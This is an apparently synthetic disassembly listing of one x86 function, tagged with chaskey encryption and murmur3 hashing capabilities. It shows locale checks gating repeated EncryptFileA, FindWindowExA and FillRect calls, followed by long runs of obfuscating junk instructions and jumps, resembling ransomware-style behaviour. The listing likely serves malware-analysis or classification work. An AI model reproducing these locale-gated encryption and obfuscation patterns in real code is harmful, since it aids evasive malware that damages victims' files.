Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
mov esi, ebx
shl ebx, 0x1f
mov ecx, esi
call sub.kernel32.dll_GetThreadLocale
add ecx, ebx
mov ebx, esi
xor esi, ebx
sub ecx, ebx
dec ecx
cmp eax, 0xffffff0a
jne 0x401071
call sub.user32.dll_FindWindowExA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FindWindowExA
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FindWindowExA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
ret
sub esi, ebx
call sub.kernel32.dll_GetThreadLocale
xor ebx, ecx
sub esi, ebx
neg ecx
xor ebx, 0xba10fc24
shl ebx, 0xc
inc esi
nop
cmp eax, 0xffffff06
jne 0x401117
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FindWindowExA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
ret
and edx, esi
inc edx
or edx, ecx
xchg ecx, esi
and edx, esi
and esi, ecx
shl esi, 0xc
call sub.kernel32.dll_GetThreadLocale
mov edx, ebx
cmp eax, 0xffffff14
jne 0x4011ba
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FillRect
ret
xchg ebx, ecx
or edx, 0xba1c5c62
dec ebx
not ebx
and ebx, ecx
call sub.kernel32.dll_GetThreadLocale
and ecx, 0xba1e448a
cmp eax, 0xffffff32
jne 0x40122e
call sub.user32.dll_FindWindowExA
call sub.advapi32.dll_EncryptFileA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
call sub.user32.dll_FindWindowExA
call sub.user32.dll_FillRect
call sub.user32.dll_FillRect
ret
jmp 0x4b77cf
mov ecx, esi
shr ecx, 0x16
sub edx, ebx
jmp 0x4b91b4
push esp
rol esi, 4
neg esi
mov edx, 0xcd15fcb0
xor edi, edx
or esi, 0xcd16db92
sub ebx, edx
jmp 0x4b80fa
call ecx
inc edi
add ebx, edi
and edi, edx
mov edx, ebx
rol esi, 0x10
sub edi, edx
shl esi, 0x1e
or esi, ebx
or edx, ebx
shr edx, 6
xchg edx, esi
sub edx, ebx
jmp 0x4b89c3
push 0xbac9e684
or esi, edx
inc edi
xchg edx, edi
or esi, edx
or edi, 0xcd3ad7e6
add edx, ebx
and edx, edi
add edi, 0xcd3c7aaa
xor edi, esi
dec edi
sub esi, 0xcd3e1a52
xchg edi, edx
or edi, ebx
and esi, edx
jmp 0x4b95bc
mov ecx, 0x6332a2e
sub edx, edi
add edx, edi
neg esi
xor edx, 0xcd57199e
mov ebx, edx
inc esi
or edx, edi
xchg esi, ebx
or esi, edi
neg edi
jmp 0x4b8d5b
push 0xbad85d52
xchg edi, ebx
or edi, edx
mov ebx, edx
ror ebx, 0x13
inc ebx
inc edx
jmp 0x4b99a0
push 0xbad3437c
and ebx, 0xcd83add0
sub edi, 0xcd8423d2
add esi, edx
add edi, ebx
add ebx, edi
add ebx, 0xcd867c68
sub esi, 0xcd86b98c
sub edx, edi
shl ebx, 8
xchg edx, edi
jmp 0x4b7e9e
pop ecx
sub ebx, 0xcdb66586
inc ebx
mov esi, ebx
add edi, edx
mov esi, ebx
add esi, edi
sub edi, esi
shr edi, 7
jmp 0x4b82b3
call ecx
and edi, 0xcdc81fd6
mov esi, edx
and esi, edx
shr esi, 0xe
mov esi, edx
xor edx, ebx
and ebx, 0xcdcb6682
dec edi
and edi, 0xcdcc99dc
mov edx, ebx
jmp 0x4b9b71
call ecx
rol ebx, 0x1c
or edx, edi
ror esi, 0x17
xor edx, 0xcdd6494e
rol esi, 2
or ebx, 0xcdd777b0
jmp 0x4b8085
pop ecx
mov esi, 0xcddb9cf4
and ebx, edi
rol esi, 0x14
and edi, esi
or ebx, esi
sub esi, 0xcddfd6ac
ror edi, 0x1c
mov ebx, edx
jmp 0x4b9907
push 0xbabc8744
sub ebx, edx
and edi, 0xcdf45b48
add edi, edx
mov edi, 0xcdf59148
or edi, ebx
shl ebx, 0x1b
shl esi, 0x17
or ebx, edi
sub esi, edx
mov edi, esi
xchg edi, ebx
dec edi
jmp 0x4b848d
pop ecx
xchg edx, edi
nop
neg edi
sub edx, edi
jmp 0x4b94f4
mov ecx, 0x6332a2e
or ebx, esi
sub edx, edi
xchg ebx, edx
or esi, edi
dec ebx
add edx, esi
add edi, ebx
not edi
sub ebx, edi
inc edi
jmp 0x4b81ee
push 0xbab3ed08
xor edx, 0xce0e041e
ror edi, 0xc
bswap edx
mov esi, edx
neg edi
xor edi, ebx
add edi, ebx
and edi, esi
xchg edx, esi
sub edi, esi
bswap edi
add edi, ebx
jmp 0x4b8a60
mov ecx, 0x6332a2e
and edx, ebx
sub edx, edi
or esi, edi
xor edx, esi
add edx, 0xce16c104
xor esi, edi
add edi, edx
sub ebx, esi
jmp 0x4b8951
pop ecx
sub edx, ebx
add ebx, edi
xchg edx, edi
rol esi, 0x18
xchg esi, edx
or esi, ebx
or edx, 0xce249292
sub edx, 0xce25484c
jmp 0x4b7c9c
call fcn.004b7af2
mov edx, edi
xchg ebx, edi
or edi, esi
or edi, edx
or edi, esi
sub edx, edi
sub esi, edi
add esi, edx
xchg ebx, edi
xchg edx, edi
jmp 0x4b8b5e
pop ecx
ror edi, 6
sub edx, esi
xor esi, ebx
xor ebx, edx
or edi, edx
add edi, ebx
and edx, esi
mov edx, ebx
jmp 0x4b7d26
pop ecx
mov ebx, edx
xchg esi, edx
jmp 0x4b986d
push 0xbad39916
sub ebx, esi
mov ebx, 0xce4fd93e
or esi, 0xce508288
or edx, 0xce510ebe
add edi, 0xce519e3c
shl edx, 0x17
and edi, 0xce52d7d0
xchg edx, esi
jmp 0x4b83f4
pop ecx
or edi, ebx
or esi, edx
xchg ebx, edx
neg edx
add edi, esi
xor esi, edx
or edx, 0xce5c3776
xchg edi, ebx
xchg edi, ebx
shr esi, 0xd
jmp 0x4b7e5b
pop ecx
xchg esi, ebx
xor ebx, edi
xchg edx, ebx
sub esi, edi
jmp 0x4b9828
push 0xbaccead6
and edx, edi
mov edi, esi
and edx, esi
mov esi, edi
mov esi, 0xce755264
add ebx, 0xce75f08e
jmp 0x4b8160
call fcn.004b7af2
mov edx, ebx
add edx, edi
sub ebx, edi
neg ebx
ror ebx, 0x16
xor edx, 0xce819112
and esi, 0xce81d1c8
mov edi, ebx
jmp 0x4b77f5
pop ecx
xor ebx, esi
and edx, edi
inc edi
xchg edi, edx
and edi, edx
ror edx, 0x18
mov esi, edx
xor edi, 0xce926f1e
and edi, esi
and edi, esi
jmp 0x4b9a5e
pop ecx
xchg edi, edx
and ebx, 0xcea03362
or ebx, 0xcea1636a
xchg ebx, edi
jmp 0x4b8847
mov ecx, 0x6332a2e
sub edi, ebx
not ebx
inc ebx
ror esi, 0x19
mov esi, edi
and edi, edx
jmp 0x4b8ebc
pop ecx
xchg edi, esi
xor ebx, edi
xor edx, 0xceaa796e
mov edx, 0xceaae1f2
xchg edx, ebx
inc edi
mov edi, ebx
xor ebx, edx
bswap esi
add edi, 0xceb13cf4
jmp 0x4b958f
push esp
xor esi, edx
or edx, esi
xchg esi, edi
mov edi, esi
mov esi, 0xcec97000
neg edx
shl ebx, 9
xor edx, ebx
dec esi
rol ebx, 0x1f
rol edx, 2
and edi, ebx
jmp 0x4b908b
call ecx
or ebx, edx
xchg edi, esi
not edi
xchg ebx, edi
sub ebx, 0xced9f6a8
xor esi, edi
or edi, esi
xor ebx, edx
and edx, ebx
sub esi, edx
and ebx, edi
mov edi, esi
jmp 0x4b9121
push 0xbacd3416
and esi, edi
shr edx, 5
add ebx, edi
or esi, 0xcee2c788
xchg esi, edx
mov edx, ebx
jmp 0x4b8dd3
pop ecx
xchg edi, esi
or esi, edx
xor edx, edi
mov ebx, edx
mov esi, edx
ror edx, 0x14
mov ebx, edx
or ebx, edi
and edx, esi
neg ebx
shr esi, 2
sub esi, edi
jmp 0x4b9b39
call fcn.004b7af2
and edx, 0xcf03c772
xchg edi, ebx
and ebx, edx
or esi, edx
sub edi, ebx
and esi, 0xcf076826
xor ebx, esi
sub edi, esi
mov edi, esi
xchg edx, ebx
jmp 0x4b9441
call ecx
inc esi
sub edx, ebx
jmp 0x4b7e83
push 0xbacdc6fc
sub esi, edx
xchg edi, esi
xchg esi, edi
or esi, 0xcf268276
mov esi, edi
shr ebx, 0x18
xchg esi, edi
mov ebx, esi
and edx, 0xcf293768
sub ebx, 0xcf2a08ae
jmp 0x4b806f
pop ecx
add esi, 0xcf2b713c
and edx, 0xcf2cb9c2
xor esi, edx
or ebx, esi
xchg ebx, edx
inc edx
xor ebx, edx
mov edx, ebx
jmp 0x4b8059
push 0xbad62142
shl edx, 0x17
shl edi, 0x19
and esi, edx
and esi, ebx
or edi, esi
mov edx, ebx
sub edi, edx
xchg esi, edi
rol edi, 4
shr esi, 0x1b
jmp 0x4b7933
push 0xbad3e594
not edx
sub ebx, edx
sub edx, 0xcf72cd9c
add esi, ebx
or edi, edx
xchg edi, edx
jmp 0x4b8b82
push 0xbadf1ad2
mov edx, 0xcf7cd786
sub edi, 0xcf7d4f1e
or esi, edx
sub edx, ebx
and edx, 0xcf7e9464
xchg edi, esi
jmp 0x4b8c96
push 0xbabcd100
and esi, ebx
xchg edi, edx
sub edx, 0xcf89c49a
and esi, edx
and esi, edi
and edx, 0xcf8b6264
and ebx, edx
xor esi, 0xcf8c6afc
jmp 0x4b9217
push 0xbab9150e
inc edi
or edi, esi
rol ebx, 0xa
sub esi, 0xcf92bc74
xor esi, edx
rol edx, 2
sub esi, edi
shl edx, 7
or esi, edx
ror edx, 0x13
jmp 0x4b9473
call ecx
and ebx, edi
or edi, edx
sub edx, ebx
or edi, edx
xor esi, edi
shr edi, 0xa
xor edx, edi
add edx, esi
shr esi, 1
and ebx, esi
jmp 0x4b7b43
push 0xbad7ba2e
xor esi, edx
sub ebx, edx
mov edx, ebx
xchg edx, edi
shl edx, 0x18
mov edi, 0xcfa55e6a
add edi, 0xcfa59b84
add ebx, esi
mov edx, esi
shl esi, 3
jmp 0x4ba235
push 0xbaca7e08
xor ebx, esi
ror esi, 5
shl edx, 0xc
inc edi
nop
or edx, edi
xor edi, ebx
add esi, edi
or esi, ebx
add edx, ebx
jmp 0x4b9277
mov ecx, 0x4132136a
add edi, esi
add edi, esi
sub ebx, edx
bswap ebx
bswap ebx
and esi, ebx
xor ebx, edx
xor ebx, esi
bswap edx
dec esi
jmp 0x4b8c52
push 0xbab18f5a
neg ebx
xor ebx, edx
nop
or ebx, esi
add edi, esi
or ebx, edi
sub edi, esi
shl ebx, 0x1e
add esi, edx
and esi, edi
jmp 0x4b95ee
push 0xbadecd5a
mov edi, esi
add edi, edx
sub esi, edx
shr edi, 6
and esi, ebx
xchg esi, edi
jmp 0x4b8447
pop ecx
and edx, 0xd0083e6c
dec ebx
and esi, ebx
xor ebx, esi
or esi, 0xd0092b64
sub esi, edx
sub edx, 0xd009e6c8
xchg ebx, edx
jmp 0x4b8534
call fcn.004b7af2
xchg edi, ebx
sub edx, 0xd00b7338
and edi, edx
add edi, edx
add ebx, 0xd00ca9b2
or edx, 0xd00d0d1e
jmp 0x4b8e54
call fcn.004b7af2
xor edi, 0xd0197c8e
or esi, ebx
sub esi, edi
add edx, ebx
xchg ebx, edi
add edx, edi
mov edx, edi
neg edx
and esi, edi
xor esi, edx
mov esi, ebx
add esi, edi
xchg esi, ebx
add edi, 0xd01d3986
jmp 0x4ba01b
pop ecx
xchg esi, ebx
or edx, 0xd0255324
mov ebx, 0xd02590b4
mov edx, esi
not edi
and esi, edi
sub edi, edx
add edx, edi
not esi
mov ebx, edx
jmp 0x4b84d8
push 0xbab0faca
or esi, ebx
xchg ebx, edx
sub edx, ebx
rol edx, 3
dec edi
add ebx, edi
jmp 0x4b96d9
push 0xbab437aa
sub edx, ebx
add esi, edi
xor ebx, edi
and ebx, edx
mov edi, 0xd032c010
add esi, edx
dec esi
and edx, edi
dec edx
or esi, ebx
jmp 0x4b8d2e
pop ecx
xor ebx, edi
dec esi
and edi, ebx
or edx, ebx
jmp 0x4ba07f
call ecx
ror esi, 0xb
mov ebx, edi
or edx, esi
and ebx, 0xd0476dae
inc edi
rol ebx, 0x18
or edi, edx
add edx, 0xd0492f14
xchg ebx, edx
mov edi, edx
jmp 0x4b8e88
mov ecx, 0x6332a2e
add edi, esi
xor ebx, edx
sub esi, 0xd04b08f8
add edx, edi
jmp 0x4b902a
call ecx
sub ebx, 0xd04dff1c
and edi, ebx
mov esi, edx
add ebx, edi
add esi, edi
dec edx
or edi, ebx
dec esi
xchg edx, ebx
add edx, ebx
add edx, edi
add esi, 0xd05083b0
dec ebx
or edi, edx
jmp 0x4b9ef0
call fcn.004b7af2
not edi
and edi, 0xd058fe80
add edi, esi
sub edi, esi
sub esi, 0xd059ae6e
xor edi, edx
rol esi, 0xf
inc edi
sub edx, ebx
sub edx, 0xd05ae0e6
jmp 0x4b77db
push 0xbadf6ade
xchg edx, esi
xchg edx, ebx
rol ebx, 0x1b
sub edi, esi
xor esi, edi
bswap ebx
add ebx, edi
and ebx, edx
add ebx, edi
ror edx, 0xc
jmp fcn.004b8f86
pop ecx
ror esi, 2
xchg ebx, esi
add ebx, edi
and edi, 0xd0645616
xor edi, edx
mov esi, ebx
sub esi, 0xd0658c8a
xor esi, edx
inc edx
neg edi
jmp 0x4ba140
call fcn.004b7af2
xor esi, edi
sub edi, 0xd067d4f0
add esi, edi
not esi
add edx, 0xd06885a6
xchg edx, esi
and edi, esi
dec edx
shr ebx, 0x11
sub ebx, esi
jmp 0x4b8517
mov ecx, 0x6332a2e
add esi, edi
shl ebx, 0xf
neg esi
and ebx, esi
jmp 0x4b92c2
call fcn.004b7af2
neg esi
mov esi, edx
bswap edi
sub edi, 0xd0710ecc
xchg edx, ebx
mov ebx, edi
jmp 0x4ba1b5
push 0xbacd7c3a
mov edx, esi
xor ebx, esi
mov edi, 0xd078d402
inc edi
or esi, 0xd0794f3a
add edx, edi
and edi, 0xd079c3a4
sub edi, edx
xchg edi, esi
mov esi, edx
sub edi, esi
sub edx, esi
mov edi, ebx
add ebx, esi
jmp 0x4b8288
call ecx
mov edx, edi
dec edi
mov edi, ebx
mov edx, ebx
and edi, ebx
sub esi, ebx
sub esi, edx
and edx, ebx
xor edi, 0xd084e834
inc esi
inc edx
bswap esi
jmp 0x4b817b
pop ecx
xchg edx, edi
shr edi, 0xf
inc esi
rol esi, 0x18
and esi, edx
and esi, 0xd08abe70
mov edx, esi
inc ebx
and edi, ebx
xor ebx, edi
jmp 0x4ba1cd
call fcn.004b7af2
xor ebx, edi
mov esi, edx
mov ebx, edx
or ebx, 0xd08f103a
rol ebx, 0x19
mov ebx, esi
jmp 0x4b8bc5
call fcn.004b7af2
add esi, edx
sub edx, 0xd0a8a38a
not edi
sub edi, edx
nop
add edx, 0xd0aa04f6
mov edx, edi
xchg edx, edi
jmp 0x4b9a0a
mov ecx, 0x6332a2e
xor edx, edi
sub edx, edi
or edi, ebx
or edx, esi
neg edx
rol ebx, 0xd
neg ebx
and edx, 0xd0b1ac10
mov ebx, edx
xchg edx, edi
jmp 0x4b7dde
push 0x40
xor edx, esi
xor edi, edx
add edi, edx
and edi, ebx
sub edx, edi
add edi, edx
and ebx, edi
add edi, ebx
jmp 0x4ba0d8
pop ecx
xor esi, ebx
ror edi, 0x1a
shl esi, 0x11
sub esi, ebx
xor esi, edx
sub edx, ebx
or edx, 0xd0b6f9ca
add edx, ebx
jmp 0x4b99e9
pop ecx
add edi, ebx
xchg esi, ebx
and ebx, esi
or edx, esi
sub edi, edx
sub esi, edi
xor edx, 0xd0bd4e96
xor edx, 0xd0bd942a
sub edi, esi
neg edi
inc edi
or ebx, esi
xor ebx, edx
mov edx, ebx
jmp 0x4b86da
pop ecx
xchg edi, ebx
xchg edx, esi
rol edx, 0xf
not edi
or esi, 0xd0c04c88
xor edi, ebx
jmp 0x4b7a34
push 0xbaaece88
sub ebx, esi
add esi, edi
or edx, 0xd0ca085c
sub edx, edi
bswap edx
neg esi
xchg esi, ebx
xor edi, 0xd0cb8e60
jmp 0x4b92e1
push 0xbabd1e00
xor esi, edi
and esi, 0xd0d41944
xor esi, 0xd0d484e4
mov esi, 0xd0d4ff60
sub edx, esi
xor esi, 0xd0d5beb4
and edi, ebx
add ebx, edi
ror edx, 0x16
add edx, ebx
jmp 0x4b9068
pop ecx
xchg ebx, edx
inc esi
sub edx, ebx
not edi
mov edx, 0xd0d8b2de
xchg ebx, edx
jmp 0x4b90a5
mov ecx, 0x6332a2e
ror edx, 0x13
add edi, ebx
inc edx
xor edi, esi
and edi, esi
mov esi, edx
jmp 0x4b9778
call fcn.004b7af2
sub edi, edx
add ebx, 0xd0de8652
xor esi, 0xd0dec22e
not edi
or edx, 0xd0df47fa
and edx, ebx
jmp 0x4b9f9c
call fcn.004b7af2
or edx, edi
bswap edi
and esi, edx
and edx, esi
not edx
or edx, esi
xor esi, edx
shr esi, 6
and ebx, esi
mov edx, esi
jmp 0x4b7bf5
push 0xbaaf2be4
inc edi
and edx, ebx
dec esi
neg edx
or esi, ebx
add edx, 0xd0e371f0
sub esi, edi
and ebx, edi
xchg edi, esi
add esi, edi
xchg edi, esi
add edi, ebx
jmp 0x4b7d4d
mov ecx, 0x6332a2e
not esi
sub edx, esi
jmp 0x4b7fa1
call ecx
mov edx, ebx
mov edi, ebx
or edx, esi
bswap edx
and edx, 0xd0febe52
add ebx, 0xd0fefb50
jmp 0x4b8011
push 0xbab967bc
ror edi, 0x17
dec edi
dec ebx
and edx, esi
mov ebx, 0xd101c544
or esi, 0xd10202b8
sub esi, ebx
inc ebx
xchg esi, edi
xchg esi, edi
dec ebx
xor edx, esi
jmp 0x4b978f
pop ecx
xchg ebx, edx
xor edx, ebx
mov esi, 0xd107482c
xchg ebx, esi
and ebx, 0xd107bf98
xor edx, 0xd1080526
sub esi, ebx
inc edi
add edi, ebx
not esi
or esi, edi
dec edi
jmp 0x4ba197
pop ecx
xor edx, ebx
mov edi, edx
and edi, esi
sub ebx, edx
add edx, esi
mov edx, esi
dec edi
mov ebx, 0xd10bb53e
mov edi, edx
sub ebx, edi
jmp 0x4b90f8
pop ecx
and esi, 0xd11628e6
mov esi, 0xd1166d24
jmp 0x4ba300
push 0xbaca316a
sub edi, 0xd118c6ea
xchg esi, edx
mov ebx, edx
and edx, edi
not edx
xor edx, esi
xchg ebx, edi
xchg edi, ebx
sub esi, 0xd11aa862
sub edi, edx
xor edx, ebx
or ebx, 0xd11bcf6a
bswap edi
bswap ebx
jmp 0x4b85b5
mov ecx, 0x6332a2e
and edx, edi
or edi, ebx
xchg ebx, edx
and edx, 0xd11dd2d6
sub ebx, edi
bswap edi
or esi, 0xd11e8592
and esi, edx
sub ebx, esi
and edi, 0xd11f34da
jmp 0x4b92a0
push 0xbab1469a
neg ebx
xor edx, edi
mov ebx, edx
mov esi, edx
or edx, esi
or edx, 0xd12d14b4
not edi
neg esi
mov edx, esi
and edx, esi
and edx, ebx
inc ebx
jmp 0x4b8798
mov ecx, 0x6332a2e
and ebx, esi
shr edi, 0xb
bswap edx
sub esi, edi
or edi, 0xd1377b7a
and esi, ebx
inc ebx
dec ebx
jmp 0x4b8cec
call fcn.004b7af2
shr ebx, 0x12
xor edi, edx
neg edi
not ebx
xor edi, edx
xor edi, esi
jmp 0x4b7baa
push 0xbab9b2c0
or edx, ebx
inc edx
and edx, ebx
dec esi
xchg edi, ebx
xor edi, ebx
and edx, ebx
xchg ebx, edi
mov ebx, edx
mov esi, 0xd13f1528
jmp 0x4b7ce6
push 0xbac99a54
add esi, edx
sub edi, esi
ror esi, 0xa
sub edi, ebx
sub esi, ebx
add ebx, esi
sub edi, edx
sub ebx, 0xd14a66ea
jmp 0x4b7899
push 0xbab78d72
and edi, esi
or esi, 0xd14d70f4
shr edx, 7
xor esi, 0xd14e4a2e
jmp 0x4b9333
push 0xbadbf04c
sub ebx, esi
inc edi
rol ebx, 0x17
add ebx, edi
jmp 0x4b9fb4
push 0xbad8b7b2
and edx, ebx
xor edx, 0xd1649de2
mov edi, ebx
sub ebx, edi
xchg esi, edi
or ebx, edx
mov edi, ebx
or edi, esi
dec edi
add esi, ebx
ror edx, 7
and edx, ebx
sub edi, 0xd16730e2
sub ebx, esi
jmp 0x4b9abd
pop ecx
and edi, ebx
shl esi, 0x16
and edi, ebx
and edx, ebx
add esi, 0xd16aa40c
xchg edi, esi
sub ebx, esi
dec edx
mov esi, 0xd16bb748
add edi, esi
jmp 0x4b83d2
call ecx
or edx, esi
and esi, ebx
xor ebx, esi
ror edx, 0x1b
neg esi
inc edi
ror edi, 0xb
or edi, ebx
jmp 0x4b9245
pop ecx
shl esi, 0x1c
and edi, esi
bswap edx
sub edx, edi
xor ebx, esi
and ebx, 0xd1779778
and edx, edi
rol edi, 7
add ebx, edx
xor esi, ebx
jmp 0x4b7da1
push 0xbad908ee
neg edi
xor esi, edi
xor esi, ebx
or edi, 0xd17e6662
jmp 0x4b9f80
pop ecx
sub edi, ebx
add edx, 0xd17efad0
and edx, ebx
and edi, edx
jmp 0x4b7f71
pop ecx
xor ebx, edx
ror edx, 2
add edi, ebx
or esi, 0xd1867ec6
or esi, edi
rol edi, 0xa
inc edi
or edx, 0xd18771aa
xor edx, esi
inc edx
jmp 0x4ba152
pop ecx
inc edi
mov esi, edi
dec ebx
sub esi, edx
sub edx, esi
bswap edi
rol ebx, 2
xor esi, edx
add ebx, edi
rol ebx, 0x17
jmp 0x4b8aa2
push 0xbadc94c0
xchg esi, ebx
add esi, edi
xor edi, edx
sub ebx, esi
rol ebx, 7
add ebx, edi
jmp 0x4b9738
push 0xbab0bc1e
mov esi, 0xd1a4b5a6
or edi, 0xd1a4f1c6
bswap esi
xor esi, 0xd1a57646
jmp 0x4b8a38
mov ecx, 0x6332a2e
add edx, edi
xor ebx, esi
not ebx
inc edi
xor edx, edi
or ebx, 0xd1aa4516
jmp 0x4b9d49
call fcn.004b7af2
or edi, 0xd1b14d66
or ebx, edi
or edx, edi
and edx, esi
mov edx, esi
xchg ebx, edx
xor ebx, edx
xor edi, edx
jmp 0x4b8272
pop ecx
sub edi, ebx
bswap ebx
not edi
add edx, edi
xchg ebx, edi
add ebx, 0xd1d139f0
sub esi, edi
xor ebx, edi
xchg edi, edx
not edi
jmp 0x4b7cc6
pop ecx
inc esi
not esi
rol edi, 0xb
rol esi, 0xd
add edi, ebx
mov edx, esi
xchg ebx, edx
or edi, 0xd1d50586
ror esi, 0x13
add esi, 0xd1d5e8ca
jmp 0x4b7c28
mov ecx, 0x6332a2e
and esi, ebx
ror edi, 0x1c
or esi, edx
and edx, 0xd1dedf5c
shl edi, 4
xchg ebx, edi
jmp 0x4b887f
call ecx
mov esi, ebx
xor esi, edx
neg edi
and ebx, edi
shr edx, 0x18
xchg esi, ebx
and edx, ebx
neg esi
jmp 0x4b94cd
push 0xbadc4078
inc edx
xchg ebx, edx
jmp 0x4b9c5a
call ecx
not ebx
xor esi, 0xd1e744b4
mov esi, 0xd1e781c0
nop
add esi, edi
xor ebx, esi
shr esi, 0x17
xor ebx, edi
jmp 0x4b8cca
pop ecx
add edi, edx
sub edx, edi
add ebx, 0xd1ed6556
sub ebx, edi
jmp 0x4b9ad3
push 0x401400
xchg esi, edx
not ebx
add esi, 0xd1ee7690
inc edi
sub ebx, edi
add edi, esi
jmp 0x4b813d
push 0xb63cf
shr esi, 0x18
sub edi, edx
jmp 0x4ba091
pop ecx
xor esi, ebx
xor ebx, edi
or edi, edx
sub ebx, 0xd1fe2106
jmp 0x4b9caf
pop ecx
ror edx, 0xe
rol esi, 0x1d
add edi, ebx
xor esi, edx
add edi, esi
xor edx, edi
and esi, 0xd200b4d4
and edx, esi
not esi
xchg edx, ebx
xor ebx, edi
ror edx, 1
add ebx, edi
add ebx, edx
jmp 0x4b9f18
pop ecx
neg edi
xchg edx, ebx
add edi, edx
neg ebx
not edx
and edi, esi
and esi, edx
sub edi, ebx
sub edi, ebx
xchg edx, esi
sub edx, ebx
xor edx, edi
jmp 0x4b7eeb
call ecx
not edi
add edx, 0xd207ca9a
sub edx, ebx
sub edi, ebx
ror ebx, 0x19
sub esi, edi
jmp 0x4b885e
pop ecx
nop
or esi, edi
and esi, edi
sub esi, 0xd20c3cf6
jmp 0x4b7f63
push 0xbad80bcc
xchg ebx, edx
sub ebx, 0xd2122678
mov esi, ebx
mov edx, esi
inc ebx
mov esi, edx
xor esi, ebx
sub esi, 0xd2138f0c
xchg edx, esi
neg edx
jmp 0x4b796e
push 0xbab61734
sub edx, 0xd2223c7e
xchg esi, edi
mov esi, edi
ror esi, 2
xor esi, ebx
mov edi, edx
jmp 0x4b9cf2